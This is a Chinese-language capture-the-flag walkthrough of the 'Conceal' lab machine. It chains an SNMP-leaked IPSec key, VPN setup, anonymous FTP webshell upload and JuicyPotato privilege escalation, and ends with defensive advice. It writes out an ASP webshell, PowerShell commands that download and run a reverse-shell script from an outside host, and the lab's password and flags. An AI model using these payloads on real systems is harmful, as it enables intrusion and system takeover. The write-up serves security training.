[Meachines] [Hard] Conceal SNMP配置不当PSK泄露+IPSec-IKE+IPSec-VPN+ftp匿名访问-Webshell上传+JuicyPotato权限提升CLSID
字数 1620 2025-08-20 18:18:17
SNMP配置不当与IPSec漏洞利用综合渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行UDP端口扫描:
sudo nmap -sU -sC --top-ports 20 10.10.10.116
关键发现:
- UDP 161端口开放:SNMP服务
- UDP 500端口开放:ISAKMP/IKE服务
1.2 SNMP信息泄露
通过SNMP walk获取敏感信息:
snmpwalk -v 2c -c public 10.10.10.116
发现关键信息:
- IKE VPN预共享密钥(PSK):
9C8B1A372B1878851BE2C097031B6E43 - 对应明文密码:
Dudecake1!
2. IPSec/IKE漏洞利用
2.1 IKE扫描与分析
使用ike-scan工具:
ike-scan -M 10.10.10.116
关键发现:
- 加密算法:3DES
- 哈希算法:SHA1
- Diffie-Hellman组:modp1024 (Group 2)
- 认证方式:PSK
- 操作系统:Windows 8
- 支持功能:NAT-T、IKE Fragmentation等
2.2 IPSec VPN配置
- 安装StrongSwan:
apt install strongswan
- 添加预共享密钥:
echo '10.10.10.116 : PSK "Dudecake1!"' >> /etc/ipsec.secrets
- 配置IPSec连接:
编辑/etc/ipsec.conf:
conn Conceal
type=transport
keyexchange=ikev1
right=10.10.10.116
authby=psk
rightprotoport=tcp
leftprotoport=tcp
esp=3des-sha1
ike=3des-sha1-modp1024
auto=start
- 启动IPSec服务:
sudo ipsec stop
sudo ipsec start --nofork
3. 进一步端口扫描
TCP端口扫描:
nmap -p- 10.10.10.116 --min-rate 1000 -sC -sV -Pn
发现开放服务:
- 21/tcp: FTP (匿名访问可能)
- 80/tcp: HTTP
- 135/tcp: MSRPC
- 139/tcp: NetBIOS
- 445/tcp: SMB
- 49664-49670/tcp: 未知服务
4. Web应用渗透
4.1 目录扫描
使用feroxbuster:
feroxbuster --url http://10.10.10.116/
4.2 Webshell上传
- 通过FTP匿名访问上传ASP webshell:
ftp 10.10.10.116
ftp> put /tmp/cmd.asp cmd.asp
- Webshell内容:
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
- 执行命令验证:
curl 'http://10.10.10.116/upload/cmd.asp?cmd=whoami'
- 获取反向shell:
curl 'http://10.10.10.116/upload/cmd.asp?cmd=powershell%20iex(New-Object%20Net.Webclient).downloadstring(%27http://10.10.16.24/Invoke-PowerShellTcp.ps1%27)'
获取user flag:
40f01e72608dd988c673747d37709f84
5. 权限提升
5.1 检查当前权限
whoami /priv
关键权限:
- SeImpersonatePrivilege: Enabled
- SeChangeNotifyPrivilege: Enabled
5.2 使用JuicyPotato提权
- 下载JuicyPotato:
invoke-webrequest -uri http://10.10.16.24/JuicyPotato.exe -outfile JuicyPotato.exe
- 准备反向shell脚本:
echo "powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.16.24/Invoke-PowerShellTcp.ps1')">reverse.bat
- 查找合适的CLSID:
- 系统版本:Windows 10 Enterprise
- 参考CLSID列表:https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise
- 执行JuicyPotato:
.\JuicyPotato.exe -t * -p "C:\users\Destitute\appdata\local\Temp\reverse.bat" -l 9001 -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}"
获取root flag:
c07091f9c5a235ac0f778f9c466ab9ee
6. 关键知识点总结
6.1 SNMP安全风险
- 默认community string(如public)易被利用
- 可能泄露系统配置、网络拓扑等敏感信息
- 应使用SNMPv3并启用加密认证
6.2 IPSec/IKE安全配置
- 避免使用弱加密算法(如3DES)
- 使用更强的Diffie-Hellman组(如Group 14或更高)
- 定期更换预共享密钥
- 考虑使用证书认证替代PSK
6.3 文件上传漏洞防护
- 禁用匿名FTP访问
- 实施文件类型白名单验证
- 设置上传目录无执行权限
- 定期清理上传目录
6.4 Windows权限提升防护
- 限制SeImpersonatePrivilege等危险权限的分配
- 及时安装系统补丁
- 监控可疑的COM/DCOM活动
- 实施最小权限原则
7. 防御建议
-
SNMP服务:
- 禁用不必要的SNMP服务
- 使用SNMPv3并配置强认证
- 限制SNMP访问源IP
-
IPSec VPN:
- 升级到IKEv2
- 使用AES-256等强加密算法
- 实施证书认证
-
Web服务器:
- 禁用不必要的HTTP方法
- 实施严格的文件上传控制
- 定期进行安全审计
-
系统权限:
- 定期审核用户权限分配
- 监控特权操作
- 及时安装安全更新
-
日志监控:
- 集中收集和分析安全日志
- 设置异常行为告警
- 保留足够时间的日志记录